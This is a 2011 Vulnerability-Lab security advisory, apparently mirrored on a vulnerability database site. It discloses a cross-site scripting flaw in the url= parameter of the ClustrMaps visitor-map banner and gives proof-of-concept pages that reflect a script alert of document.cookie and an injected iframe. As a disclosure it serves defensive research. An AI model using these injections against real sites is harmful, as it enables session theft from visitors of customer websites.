Document Title:
===============
ClusterMaps - Cross Site Scripting Vulnerability
Release Date:
=============
2011-07-25
Vulnerability Laboratory ID (VL-ID):
====================================
135
Product & Service Introduction:
===============================
Do you know your audience? You will with ClustrMaps! Visitors don t need to click on anything: just viewing your page is sufficient. We provide (free) the HTML that gives you a tiny map, like the one on the left. When it loads, it increments a counter and shows the locations of all visitors to your page, cumulatively (even for huge numbers). Clicking on it zooms in to a big world map, and (optionally) lets you zoom in to the continents, as in the example above. For light users (under 2500 visitors daily) the service is free, forever, and stores cumulative totals up to millions of visitors. Paying users get extra features.
* Know your visitors
* Target your content
* Show off your community
* Automatic: clicks optional
* Speedy, scalable
* Giant map, optional zooms
* No spyware, no cookies
* Learn more...
(Copy of the Vendor Homepage: http://www.clustrmaps.com/)
Abstract Advisory Information:
==============================
Vulnerability Lab Team discovered a Cross Site Scripting Vulnerability on ClusterMaps Locator Exchange Banner.
Vulnerability Disclosure Timeline:
==================================
2011-07-26: Public or Non-Public Disclosure
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Cross Site Scripting Vulnerability is detected on the Clustermaps Exchange Banner. A remote attacker is able to execute own javascripts and
implement malicious codes on exchange websites (customers) to steal sessions via user interaction. The vulnerability is located in the ?url=
parameter which is included on the own website by customers. Attackers can steal sessions through the implemented banner on the customer website.
Vulnerable Module(s):
[+] Maps / URL
Code Review: ClusterMaps Banner
<a href= http://www3.clustrmaps.com/counter/maps.php?url=http://global-evolution.de
id= clustrMapsLink ><img src= http://www3.clustrmaps.com/counter/
index2.php?url=http://vulnerability-lab.com style= border:0px; alt= Locations of visitors to
this page title= Locations of visitors to this page
id= clustrMapsImg onerror= this.onerror=null; this.src=http://www2.clustrmaps.com/
images/clustrmaps-back-soon.jpg; document.getElementById(clustrMapsLink).href=http://www2.clustrmaps.com; /></a>
http://www3.xxx.com/counter/maps.php?url=[ScriptCode] <====
http://www3.xxx.com/counter/index2.php?url=[ScriptCode] <====
Pictures:
../1.png
../2.png
Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers via user interaction. For demonstration ...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ClustrMaps - map of visitor locations - zoom map</title>
<link href="maps.php2_files/main.css" rel="stylesheet" type="text/css">
</head><body><font color="red">>"<script>alert(document.cookie)</script>
is not a ClustrMaps (reg or +) user</font></body></html>
---
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>ClustrMaps - map of visitor locations - zoom map</title>
<link href="maps.php_files/main.css" rel="stylesheet" type="text/css">
</head><body><font color="red">>"<iframe src="maps.php_files/a.htm"
height="600" width="600"> is not a ClustrMaps (reg or +)
user</font></iframe></font></body></html>
References:
../PoC/maps.php.htm
../PoC/maps.php2.htm
Security Risk:
==============
The security risk of the cross site vulnerability is estimated as medium because all customer websites are also vulnerable after include.
Credits & Authors:
==================
Vulnerability Research Laboratory
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: [email protected] - [email protected] - [email protected]
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.
Copyright © 2012 | Vulnerability Laboratory
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation